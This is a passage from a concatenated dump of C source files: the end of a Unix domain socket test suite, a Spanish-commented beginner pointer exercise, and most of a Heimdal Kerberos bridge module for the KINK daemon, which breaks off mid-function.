for (int i = 0; i < SMALLBUF_SIZE / 2; i++) {
test_assert(readBuf[i] == i);
}
test_assert(recv(fd, readBuf, SMALLBUF_SIZE, 0) == 1);
test_assert(readBuf[0] == 0);
/* zero-length datagram */
test_assert(recv(fd, readBuf, SMALLBUF_SIZE, 0) == 0);
for (int i = 0; i < 2; i++) {
usleep(100 * 1000); /* to make the sender block */
for (int j = 0; j < DGRAM_COUNT; j++)
test_assert(recv(fd, readBuf, SMALLBUF_SIZE, 0) == SMALLBUF_SIZE);
}
return NULL;
}
static void uds_dgram_test(void)
{
int s1, s2;
struct sockaddr_un client_addr, server_addr;
socklen_t addr_len = sizeof(struct sockaddr_un);
pthread_t pt;
uint8_t writeBuf[SMALLBUF_SIZE];
int i;
struct pollfd fds;
s1 = socket(AF_UNIX, SOCK_DGRAM, 0);
test_assert(s1 >= 0);
client_addr.sun_family = server_addr.sun_family = AF_UNIX;
strcpy(client_addr.sun_path, CLIENT_SOCKET_PATH);
strcpy(server_addr.sun_path, SERVER_SOCKET_PATH);
test_assert(bind(s1, (struct sockaddr *) &server_addr, addr_len) == 0);
test_assert(listen(s1, 1) == -1 && errno == EOPNOTSUPP);
test_assert(accept(s1, (struct sockaddr *) &server_addr, &addr_len) == -1);
test_assert(errno == EOPNOTSUPP);
s2 = socket(AF_UNIX, SOCK_DGRAM, 0);
test_assert(s2 >= 0);
test_assert(bind(s2, (struct sockaddr *) &client_addr, addr_len) == 0);
test_assert(pthread_create(&pt, NULL, uds_dgram_server, (void *)(long) s1)
== 0);
fds.fd = s2;
fds.events = POLLIN | POLLOUT | POLLHUP;
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLOUT));
test_assert((send(s2, writeBuf, sizeof(writeBuf), 0) == -1) && (errno == ENOTCONN));
test_assert(sendto(s2, writeBuf, 1, 0, (struct sockaddr *)&server_addr, addr_len) == 1);
test_assert(connect(s2, (struct sockaddr *) &server_addr, addr_len) == 0);
for (int i = 0; i < SMALLBUF_SIZE; i++) {
writeBuf[i] = i;
}
test_assert(send(s2, writeBuf, SMALLBUF_SIZE, 0) == SMALLBUF_SIZE);
test_assert(send(s2, writeBuf, 1, 0) == 1);
/* zero-length datagram */
test_assert(send(s2, writeBuf, 0, 0) == 0);
/* wakeup after blocking send */
for (i = 0; i < DGRAM_COUNT; i++)
test_assert(send(s2, writeBuf, SMALLBUF_SIZE, 0) == SMALLBUF_SIZE);
/* poll after non-blocking send */
test_assert(fcntl(s2, F_SETFL, fcntl(s2, F_GETFL) | O_NONBLOCK) == 0);
for (i = 0; i < DGRAM_COUNT; i++) {
if (send(s2, writeBuf, SMALLBUF_SIZE, 0) != SMALLBUF_SIZE) {
test_assert(errno == EAGAIN);
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLOUT));
test_assert(send(s2, writeBuf, SMALLBUF_SIZE, 0) == SMALLBUF_SIZE);
}
}
/* Connect to the same address as already connected (should be a no-op). */
test_assert(connect(s2, (struct sockaddr *)&server_addr, addr_len) == 0);
test_assert(pthread_join(pt, NULL) == 0);
test_assert(close(s1) == 0);
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLOUT));
test_assert((send(s2, writeBuf, 1, 0) == -1) && (errno == ECONNREFUSED));
test_assert(close(s2) == 0);
test_assert(unlink(SERVER_SOCKET_PATH) == 0);
test_assert(unlink(CLIENT_SOCKET_PATH) == 0);
}
static sem_t sem;
static void *uds_nonblocking_server(void *arg)
{
int fd = (long) arg;
struct sockaddr_un addr;
socklen_t addr_len = sizeof(addr);
int client_fd;
client_fd = accept(fd, (struct sockaddr *) &addr, &addr_len);
if (client_fd < 0) {
test_assert(errno == EAGAIN);
struct pollfd fds;
fds.fd = fd;
fds.events = POLLIN | POLLOUT;
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLIN));
client_fd = accept(fd, (struct sockaddr *) &addr, &addr_len);
test_assert(client_fd >= 0);
}
test_assert(addr_len == sizeof(addr.sun_family));
test_assert(addr.sun_family == AF_UNIX);
sem_wait(&sem);
test_assert(close(client_fd) == 0);
return NULL;
}
static void uds_nonblocking_test(void)
{
int s1, s2;
int s3[CLIENT_COUNT];
struct sockaddr_un addr;
socklen_t addr_len = sizeof(addr);
pthread_t pt;
struct pollfd fds;
s1 = socket(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, 0);
test_assert(s1 >= 0);
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, SERVER_SOCKET_PATH);
test_assert(bind(s1, (struct sockaddr *) &addr, addr_len) == 0);
test_assert(listen(s1, 1) == 0);
s2 = socket(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, 0);
test_assert(s2 >= 0);
fds.fd = s2;
fds.events = POLLIN | POLLOUT | POLLHUP;
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == (POLLOUT | POLLHUP)));
int rv = connect(s2, (struct sockaddr *) &addr, addr_len);
test_assert(rv == 0);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == -1);
test_assert(errno == EISCONN);
test_assert(pthread_create(&pt, NULL, uds_nonblocking_server,
(void *)(long) s1) == 0);
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == POLLOUT));
sem_post(&sem);
test_assert(pthread_join(pt, NULL) == 0);
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents == (POLLIN | POLLOUT | POLLHUP)));
test_assert(close(s2) == 0);
s2 = socket(AF_UNIX, SOCK_STREAM, 0);
test_assert(s2 >= 0);
test_assert(pthread_create(&pt, NULL, uds_nonblocking_server,
(void *)(long) s1) == 0);
usleep(100 * 1000);
test_assert(connect(s2, (struct sockaddr *) &addr, addr_len) == 0);
sem_post(&sem);
test_assert(pthread_join(pt, NULL) == 0);
/* Try to connect more sockets than the server backlog allows. */
for (int i = 0; i < CLIENT_COUNT; i++) {
s3[i] = socket(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, 0);
test_assert(s3[i] >= 0);
if (connect(s3[i], (struct sockaddr *) &addr, addr_len) < 0)
test_assert(errno == EAGAIN);
}
for (int i = 0; i < CLIENT_COUNT; i++)
test_assert(close(s3[i]) == 0);
test_assert(close(s1) == 0);
fds.fd = s2;
test_assert((poll(&fds, 1, -1) == 1) && (fds.revents & POLLHUP));
test_assert(close(s2) == 0);
test_assert(unlink(SERVER_SOCKET_PATH) == 0);
}
int main(int argc, char **argv)
{
setbuf(stdout, NULL);
uds_stream_test();
uds_dgram_test();
uds_nonblocking_test();
printf("Unix domain socket tests OK\n");
return EXIT_SUCCESS;
}
|
the_stack_data/148578784.c | //1. Include
#include <stdio.h>
//2. Define
//#define PI 3.1416
//3. Declaracion
void captura_int(int *px);
void imprime_int(int *px);
//4. Main
void main(){
int x; // float, char, unsigned int, long int, long float, long unsigned int, short int, unsigned short int
printf("\n\n Bloque 1\n");
captura_int(&x); //&x -> direccion de memoria de x, *(&x) -> valor
printf("\n x = %d\n", x);
getchar();getchar();
printf("\n\n Bloque 2\n");
int *pointer_x = &x; // (*pointer_x)->dato, pointer_x->apuntador(direccion)
printf("\n pointer -> 0x%lx\n", (long int)pointer_x); // (int)3.2 -> 3, (char)65->'A' cast
getchar();getchar();
printf("\n\n Bloque 3\n");
captura_int(pointer_x);
printf("\n x = %d\n", x);
getchar();getchar();
printf("\n\n Bloque 4\n");
imprime_int(pointer_x); // (&x)=pointer_x
}
//5. Definiciones
void captura_int(int *px){ // px=(&x), *px=x
printf(" x <- ");
scanf("%d", px);
//si esto estuviera en el main
//scanf(%d, &x);
}
//Esta es la version como funcion (regresa valor)
/*
int captura_int(){
int val;
printf(" x <- ");
scanf("%d", &val);
return val;
}
*/
void imprime_int(int *px){
printf("\n $(%lx) -> %d\n", (long int)px, *px);
}
|
the_stack_data/126353.c | /* $Id: bbkk_heimdal.c,v 1.61 2007/08/03 05:42:24 kamada Exp $ */
/*
* Copyright (C) 2003-2005 WIDE Project.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the project nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* bridge between KINK and Kerberos
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef HAVE_KRB5_HEIMDAL
#include <errno.h>
#include <inttypes.h>
#include <stdlib.h>
#include <string.h>
#if defined(HAVE_KRB5_KRB5_H)
# include <krb5/krb5.h>
# include <openssl/evp.h>
typedef void *krb5_pk_init_ctx;
struct _krb5_encryption_type;
struct _krb5_key_data;
struct _krb5_key_type;
struct krb5_dh_moduli;
# include <krb5/pkinit_asn1.h>
# include <krb5/krb5-private.h>
#else
# include <krb5.h>
#endif
#include <time.h>
#define BBKK_SOURCE
#include "../lib/vmbuf.h"
#include "pathnames.h"
#include "utils.h"
#include "bbkk.h"
#include "crypto_openssl.h"
#include "rc_openssl.h"
static krb5_error_code krb5e_force_get_key(krb5_context context,
krb5_auth_context ac,
const krb5_data *inbuf,
krb5_keytab keytab);
/*
* compatibility hack
*/
#ifndef HAVE_MIT_COMPAT_KRB5_FREE_TICKET
#define krb5_free_ticket(context, ticket) do { \
krb5_free_ticket(context, ticket); \
krb5_xfree(ticket); \
} while (0 /* CONSTCOND */);
#endif
const char *
bbkk_libversion(void)
{
return heimdal_version;
}
int32_t
bbkk_init(bbkk_context *conp, const char *princ_str)
{
static const struct bbkk_context con0;
bbkk_context con;
krb5_error_code ret;
const char *cause;
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG, "bbkk: initializing\n");
if ((con = malloc(sizeof(*con))) == NULL)
return ENOMEM;
*con = con0;
cause = NULL;
ret = krb5_init_context(&con->context);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_init_context: (%ld) %s\n",
(long)ret, strerror(ret));
free(con);
return ret;
}
ret = krb5_parse_name(con->context, princ_str, &con->principal);
if (ret != 0) {
cause = "krb5_parse_name";
goto fail;
}
/* Heimdal fcc need "initialize" after "resolve", but mcc doesn't. */
ret = krb5_cc_resolve(con->context, "MEMORY:", &con->ccache);
if (ret != 0) {
cause = "krb5_cc_resolve";
goto fail;
}
/*
* prepare replay cache
*/
ret = krb5_rc_resolve_full(con->context, &con->rcache,
"FILE:" CACHE_DIR "/kinkd.rc");
if (ret != 0) {
cause = "krb5_rc_resolve_full";
goto fail;
}
/*
* We'd like to do "recover, or initialize", but rc_resolve
* doesn't detect ENOENT, etc.
*/
#ifdef HAVE_KRB5_GET_MAX_TIME_SKEW
ret = krb5_rc_initialize(con->context, con->rcache,
krb5_get_max_time_skew(con->context));
#else
ret = krb5_rc_initialize(con->context, con->rcache,
con->context->max_skew);
#endif
if (ret != 0) {
cause = "krb5_rc_initialize";
goto fail;
}
*conp = con;
return 0;
fail:
if (DEBUG_KRB5() && cause != NULL)
kinkd_log(KLLV_DEBUG,
"bbkk: %s: %s\n",
cause, krb5_get_error_message(con->context, ret));
if (con->rcache != NULL)
krb5_rc_close(con->context, con->rcache);
if (con->ccache != NULL)
krb5_cc_destroy(con->context, con->ccache);
if (con->principal != NULL)
krb5_free_principal(con->context, con->principal);
if (con->context != NULL)
krb5_free_context(con->context);
free(con);
return ret;
}
int32_t
bbkk_fini(bbkk_context con)
{
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG, "bbkk: finalizing\n");
krb5_rc_close(con->context, con->rcache);
krb5_cc_destroy(con->context, con->ccache);
krb5_free_principal(con->context, con->principal);
krb5_free_context(con->context);
free(con);
return 0;
}
/*
* TGT is stored in credential cache, which is a member of *con.
*
* princ_str: my principal
*/
int32_t
bbkk_get_tgt(bbkk_context con, const char *princ_str)
{
krb5_error_code ret;
krb5_principal principal;
krb5_get_init_creds_opt *opt;
krb5_creds cred;
krb5_keytab kt;
krb5_deltat start_time = 0;
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG, "bbkk: getting TGT\n");
ret = krb5_parse_name(con->context, princ_str, &principal);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_parse_name: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
ret = krb5_kt_default(con->context, &kt);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_kt_default: %s\n",
krb5_get_error_message(con->context, ret));
krb5_free_principal(con->context, principal);
return ret;
}
memset(&cred, 0, sizeof(cred));
krb5_get_init_creds_opt_alloc(con->context, &opt);
krb5_get_init_creds_opt_set_default_flags(con->context, "kinit",
principal->realm, opt); /* XXX may not be kinit... */
ret = krb5_get_init_creds_keytab(con->context, &cred, principal, kt,
start_time, NULL /* server */, opt);
krb5_kt_close(con->context, kt);
krb5_free_principal(con->context, principal);
krb5_get_init_creds_opt_free(con->context, opt);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_get_init_creds_keytab: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
/* remove previous TGT using cred as a template */
(void)krb5_cc_remove_cred(con->context, con->ccache, 0, &cred);
ret = krb5_cc_store_cred(con->context, con->ccache, &cred);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_cc_store_cred: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
krb5_free_cred_contents(con->context, &cred);
return 0;
}
int32_t
bbkk_get_service_cred(bbkk_context con,
const char *cprinc_str, const char *sprinc_str, void **cred)
{
krb5_error_code ret;
krb5_creds template, *out_cred;
krb5_flags options;
krb5_principal client, server;
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG, "bbkk: getting service Ticket\n");
ret = krb5_parse_name(con->context, sprinc_str, &server);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_parse_name: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
ret = krb5_parse_name(con->context, cprinc_str, &client);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_parse_name: %s\n",
krb5_get_error_message(con->context, ret));
krb5_free_principal(con->context, server);
return ret;
}
/* make template */
memset(&template, 0, sizeof(template));
template.client = client;
template.server = server;
template.times.endtime = 0;
template.session.keytype = 0; /* unspecify */
/*
* krb5_get_credentials get a ticket from ccache without
* check of expiration period.
*
* XXX consider: 'remove here' vs 'remove if expired'
*/
ret = krb5_cc_remove_cred(con->context, con->ccache, 0, &template);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_cc_remove_cred: %s\n",
krb5_get_error_message(con->context, ret));
krb5_free_principal(con->context, client);
krb5_free_principal(con->context, server);
return ret;
}
options = 0;
ret = krb5_get_credentials(con->context, options, con->ccache,
&template, &out_cred);
krb5_free_principal(con->context, client);
krb5_free_principal(con->context, server);
/*
* XXX
* retry when KRB5_KDC_UNREACH ???
*/
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_get_credentials: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
*cred = (void *)out_cred;
return 0;
}
int32_t
bbkk_make_ap_req(bbkk_context con, const void *cred,
void **auth_con, void **ap_req_buf, size_t *ap_req_len, int toffset
#ifdef MAKE_KINK_LIST_FILE
, time_t *endtime
#endif
)
{
krb5_error_code ret;
krb5_auth_context int_auth_con;
krb5_creds cred_copy;
krb5_data ap_req;
int32_t save_toffset;
#if HAVE_KRB5_GET_KDC_SEC_OFFSET
struct timeval now;
#endif
#if HAVE_KRB5_GET_KDC_SEC_OFFSET
(void)krb5_get_kdc_sec_offset(con->context, &save_toffset, NULL);
gettimeofday(&now, NULL);
(void)krb5_set_real_time(con->context,
now.tv_sec + toffset, now.tv_usec);
#else
/* XXX adjust clock */
save_toffset = con->context->kdc_sec_offset;
con->context->kdc_sec_offset = toffset;
#endif
/* mk_req_extends reallocate cred, so use a copy */
ret = krb5_copy_creds_contents(con->context, (const krb5_creds *)cred,
&cred_copy);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_copy_creds_contents: %s\n",
krb5_get_error_message(con->context, ret));
goto cleanup;
}
int_auth_con = NULL;
/*
* If auth_con == NULL, one is allocated.
* This is used later. (keyblock is used to decrypt AP_REP)
*/
ret = krb5_mk_req_extended(con->context, &int_auth_con,
AP_OPTS_MUTUAL_REQUIRED, NULL /* in_data */, &cred_copy, &ap_req);
krb5_free_cred_contents(con->context, &cred_copy);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_mk_req_extended: %s\n",
krb5_get_error_message(con->context, ret));
goto cleanup;
}
*auth_con = int_auth_con;
/* XXX delegate: krb5_free_data() --> free() */
*ap_req_buf = ap_req.data;
*ap_req_len = ap_req.length;
#ifdef MAKE_KINK_LIST_FILE
*endtime = ((const krb5_creds *)cred)->times.endtime;
#endif
ret = 0;
cleanup:
#if HAVE_KRB5_GET_KDC_SEC_OFFSET
if (save_toffset < con->save_toffset - 2 ||
save_toffset > con->save_toffset + 2) /* avoid error accumulation */
con->save_toffset = save_toffset;
else
save_toffset = con->save_toffset;
gettimeofday(&now, NULL);
(void)krb5_set_real_time(con->context,
now.tv_sec + save_toffset, now.tv_usec);
#else
con->context->kdc_sec_offset = save_toffset;
#endif
return ret;
}
int32_t
bbkk_check_ap_rep(bbkk_context con,
void *auth_con, const void *ap_rep_buf, size_t ap_rep_len)
{
krb5_error_code ret;
krb5_data ap_rep;
krb5_ap_rep_enc_part *repl;
ap_rep.data = UNCONST(void *, ap_rep_buf);
ap_rep.length = ap_rep_len;
ret = krb5_rd_rep(con->context, auth_con, &ap_rep, &repl);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_rd_rep: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
krb5_free_ap_rep_enc_part(con->context, repl);
return 0;
}
/*
* This function may return valid auth_context even if on error.
*/
int32_t
bbkk_read_ap_req_and_make_ap_rep(bbkk_context con, void *auth_con,
const void *ap_req_buf, size_t ap_req_len,
void **ap_rep_buf, size_t *ap_rep_len,
char **cname, char **sname
#ifdef MAKE_KINK_LIST_FILE
, time_t *endtime
#endif
)
{
krb5_error_code ret, saveret;
krb5_auth_context auth_context;
krb5_ticket *ticket;
krb5_flags flags;
krb5_data ap_req, ap_rep;
ap_req.data = UNCONST(void *, ap_req_buf);
ap_req.length = ap_req_len;
ret = krb5_auth_con_init(con->context, &auth_context);
if (ret != 0)
return ret;
/* pass NULL as server, and check later... */
/* keytab == NULL means krb5_kt_default() */
flags = AP_OPTS_MUTUAL_REQUIRED;
ticket = NULL;
saveret = krb5_rd_req(con->context, &auth_context,
&ap_req, NULL /* server principal */, NULL /* keytab */,
&flags, &ticket);
if (saveret == KRB5KRB_AP_ERR_TKT_EXPIRED ||
saveret == KRB5KRB_AP_ERR_SKEW) {
ret = krb5e_force_get_key(con->context, auth_context,
&ap_req, NULL /* keytab */);
if (ret != 0) {
kinkd_log(KLLV_SYSERR,
"krb5e_force_get_key: (%d) %s\n",
ret, krb5_get_error_message(con->context, ret));
krb5_auth_con_free(con->context, auth_context);
return ret;
}
} else if (saveret != 0) { /* i.e. no TKT_EXPIRED nor SKEW */
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_rd_req: (%d)%s\n",
saveret, krb5_get_error_message(con->context, saveret));
krb5_auth_con_free(con->context, auth_context);
return saveret;
}
#ifdef HEIMDAL_BEFORE_0_7
/* Heimdal-0.6.2 does not seem to have SKEW check in krb5_rd_req */
if (saveret == 0 &&
abs(auth_context->authenticator->ctime - time(NULL)) >
con->context->max_skew)
saveret = KRB5KRB_AP_ERR_SKEW;
#endif
/*
* check replay
*/
ret = krb5_rc_store(con->context, con->rcache,
auth_context->authenticator);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_rc_store: %s\n",
krb5_get_error_message(con->context, ret));
if (ticket != NULL)
krb5_free_ticket(con->context, ticket);
krb5_auth_con_free(con->context, auth_context);
return ret;
}
/*
* make KRB_AP_REP
*/
ret = krb5_mk_rep(con->context, auth_context, &ap_rep);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_mk_rep: %s\n",
krb5_get_error_message(con->context, ret));
/*
* XXX Heimdal-0.6.x
* Heimdal-0.6.x frees only ticket contents, not containter;
* so krb5_xfree(ticket) is needed nere.
* MIT krb and Heimdal-current (0.7?) free entire ticket.
* confusing...
*/
if (ticket != NULL)
krb5_free_ticket(con->context, ticket);
krb5_auth_con_free(con->context, auth_context);
return ret;
}
*(krb5_auth_context *)auth_con = auth_context;
/* XXX delegate: krb5_free_data() --> free() */
*ap_rep_buf = ap_rep.data;
*ap_rep_len = ap_rep.length;
#ifdef MAKE_KINK_LIST_FILE
/* saveret is not yet checked here, so ticket may be NULL */
*endtime = ticket != NULL ? ticket->ticket.endtime : 0;
#endif
if (saveret != 0) {
/* XXX error message may be wrong */
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_rd_req: (%d)%s\n",
saveret, krb5_get_error_message(con->context, saveret));
if (ticket != NULL)
krb5_free_ticket(con->context, ticket);
return saveret;
}
ret = krb5_unparse_name(con->context, ticket->server, sname);
if (ret != 0) {
krb5_free_ticket(con->context, ticket);
return ret;
}
ret = krb5_unparse_name(con->context, ticket->client, cname);
if (ret != 0) {
krb5_free_ticket(con->context, ticket);
free(*sname);
return ret;
}
if (DEBUG_KRB5()) {
char buf[30];
if (strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S",
localtime(&ticket->ticket.endtime)) == 0)
strcpy(buf, "invalid");
kinkd_log(KLLV_DEBUG,
"bbkk_read_ap_req_and_make_ap_rep(): "
"This Ticket is for %s from %s\n",
*sname, *cname);
kinkd_log(KLLV_DEBUG, "Ticket expiration time: %s\n", buf);
if (ticket->ticket.endtime < time(NULL))
kinkd_log(KLLV_DEBUG, "Ticket has expired !!!\n");
}
krb5_free_ticket(con->context, ticket);
return 0;
}
int32_t
bbkk_make_error(bbkk_context con, void *auth_con,
int32_t ecode, void **error_buf, size_t *error_len)
{
krb5_error_code ret;
krb5_data reply;
const char *e_text;
time_t ctime, *ctimep;
int cusec, *cusecp;
e_text = krb5_get_error_message(con->context, ecode);
if (ecode < KRB5KDC_ERR_NONE || KRB5_ERR_RCSID <= ecode) {
kinkd_log(KLLV_SYSWARN,
"non protocol errror (%d), use GENERIC\n", ecode);
ecode = KRB5KRB_ERR_GENERIC;
}
/* reflect ctime (RFC 4120 5.9.1, draft-ietf-kink-kink-09 3.5) */
if (auth_con != NULL) {
ctime = ((krb5_auth_context)auth_con)->authenticator->ctime;
cusec = ((krb5_auth_context)auth_con)->authenticator->cusec;
ctimep = &ctime;
cusecp = &cusec;
} else {
ctimep = NULL;
cusecp = NULL;
}
ret = krb5_mk_error(con->context, ecode,
e_text, NULL /* e_data */,
NULL /* client */, con->principal /* server */,
ctimep, cusecp, &reply);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_mk_error: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
/* XXX delegate: krb5_free_data() --> free() */
*error_buf = reply.data;
*error_len = reply.length;
return 0;
}
int32_t
bbkk_read_error(bbkk_context con, const void *error_buf, size_t error_len,
int32_t *ecode, time_t *stime)
{
krb5_error_code ret;
krb5_error dec_error;
krb5_data reply;
reply.data = UNCONST(void *, error_buf);
reply.length = error_len;
ret = krb5_rd_error(con->context, &reply, &dec_error);
if (ret != 0) {
if (DEBUG_KRB5())
kinkd_log(KLLV_DEBUG,
"bbkk: krb5_rd_error: %s\n",
krb5_get_error_message(con->context, ret));
return ret;
}
/*
* dec_error.error_code is int, but same representation with
* krb5_error_code (from krb5/rd_error.c)
*/
*ecode = dec_error.error_code;
*stime = dec_error.stime;
#if 0
if (dec_error.ctime != NULL)
*ctime = *dec_error.ctime;
else
*ctime = (time_t)-1;
#endif
krb5_free_error_contents(con->context, &dec_error);
return 0;
}
/*
*
*/
int32_t
bbkk_free_auth_context(bbkk_context con, void *auth_con)
{
return krb5_auth_con_free(con->context, auth_con);
}
int32_t
bbkk_free_cred(bbkk_context con, void *cred)
{
return krb5_free_creds(con->context, (krb5_creds *)cred);
}
int32_t
bbkk_calc_cksum(bbkk_context con, void *auth_context,
void *cksum_ptr, size_t *cksum_len, void *ptr, size_t len)
{
krb5_crypto crypto;
krb5_error_code ret;
krb5_checksum cksum;
ret = krb5_crypto_init(con->context,
((krb5_auth_context)auth_context)->keyblock,
((krb5_auth_context)auth_context)->keyblock->keytype, &crypto);
if (ret != 0)
return ret;
ret = krb5_create_checksum(con->context, crypto,
BBKK_KRB5_KU_KINK_CKSUM, 0 /* krb5_cksumtype type */,
ptr, len, &cksum);
krb5_crypto_destroy(con->context, crypto);
if (ret != 0)
return ret;
if (!krb5_checksum_is_keyed(con->context, cksum.cksumtype)) {
krb5_data_free(&cksum.checksum);
kinkd_log(KLLV_SYSERR, "checksum is not keyed\n");
return EPERM; /* XXX */
}
if (cksum.checksum.length > *cksum_len) {
kinkd_log(KLLV_SYSERR, "no space remains for checksum\n");
krb5_data_free(&cksum.checksum);
return ERANGE;
}
memcpy(cksum_ptr, cksum.checksum.data, cksum.checksum.length);
*cksum_len = cksum.checksum.length;
krb5_data_free(&cksum.checksum);
return 0;
}
int32_t
bbkk_verify_cksum(bbkk_context con, void *auth_context,
void *ptr, size_t len, void *cksum_ptr, size_t cksum_len)
{
krb5_crypto crypto;
krb5_error_code ret;
krb5_checksum cksum;
ret = krb5_crypto_init(con->context,
((krb5_auth_context)auth_context)->keyblock,
((krb5_auth_context)auth_context)->keyblock->keytype, &crypto);
if (ret != 0)
return ret;
/* this is dummy create only to get cksum.cksumtype */
ret = krb5_create_checksum(con->context, crypto,
BBKK_KRB5_KU_KINK_CKSUM,
0 /* krb5_cksumtype type (pick from crypto) */,
ptr /* dummy */, 0, &cksum);
krb5_data_free(&cksum.checksum);
if (ret != 0) {
krb5_crypto_destroy(con->context, crypto);
return ret;
}
cksum.checksum.data = cksum_ptr;
cksum.checksum.length = cksum_len;
ret = krb5_verify_checksum(con->context, crypto,
BBKK_KRB5_KU_KINK_CKSUM /* krb5_key_usage usage */,
ptr, len, &cksum);
krb5_crypto_destroy(con->context, crypto);
if (ret != 0)
return ret;
/* sanity check */
/* XXX checksum is always keyed if krb5_crypto is used? */
if (!krb5_checksum_is_keyed(con->context, cksum.cksumtype)) {
kinkd_log(KLLV_SYSERR, "checksum is not keyed\n");
return EPERM; /* XXX */
}
return 0;
}
int32_t
bbkk_encrypt(bbkk_context con, void *auth_context,
void *ptr, size_t len, void **enc_ptr, size_t *enc_len)
{
krb5_crypto crypto;
krb5_error_code ret;
krb5_data enc;
ret = krb5_crypto_init(con->context,
((krb5_auth_context)auth_context)->keyblock,
((krb5_auth_context)auth_context)->keyblock->keytype, &crypto);
if (ret != 0)
return ret;
ret = krb5_encrypt(con->context, crypto,
BBKK_KRB5_KU_KINK_KINK_ENCRYPT, ptr, len, &enc);
krb5_crypto_destroy(con->context, crypto);
if (ret != 0)
return ret;
/* XXX delegate: krb5_free_data() --> free() */
*enc_ptr = enc.data;
*enc_len = enc.length;
return 0;
}
int32_t
bbkk_decrypt(bbkk_context con, void *auth_context,
void *ptr, size_t len, void **dec_ptr, size_t *dec_len)
{
krb5_crypto crypto;
krb5_error_code ret;
krb5_data dec;
ret = krb5_crypto_init(con->context,
((krb5_auth_context)auth_context)->keyblock,
((krb5_auth_context)auth_context)->keyblock->keytype, &crypto);
if (ret != 0)
return ret;
ret = krb5_decrypt(con->context, crypto,
BBKK_KRB5_KU_KINK_KINK_ENCRYPT, ptr, len, &dec);
krb5_crypto_destroy(con->context, crypto);
if (ret != 0)
return ret;
/* XXX delegate: krb5_free_data() --> free() */
*dec_ptr = dec.data;
*dec_len = dec.length;
return 0;
}
int32_t
bbkk_get_key_info(bbkk_context con, void *auth_context,
int *etype, void *key_ptr, size_t *key_len)
{
if (((krb5_auth_context)auth_context)->keyblock->keyvalue.length >
*key_len)
return ERANGE;
/*
* keytype in auth_context which is generated by krb5_rd_req
* actually holds enctype.
*/
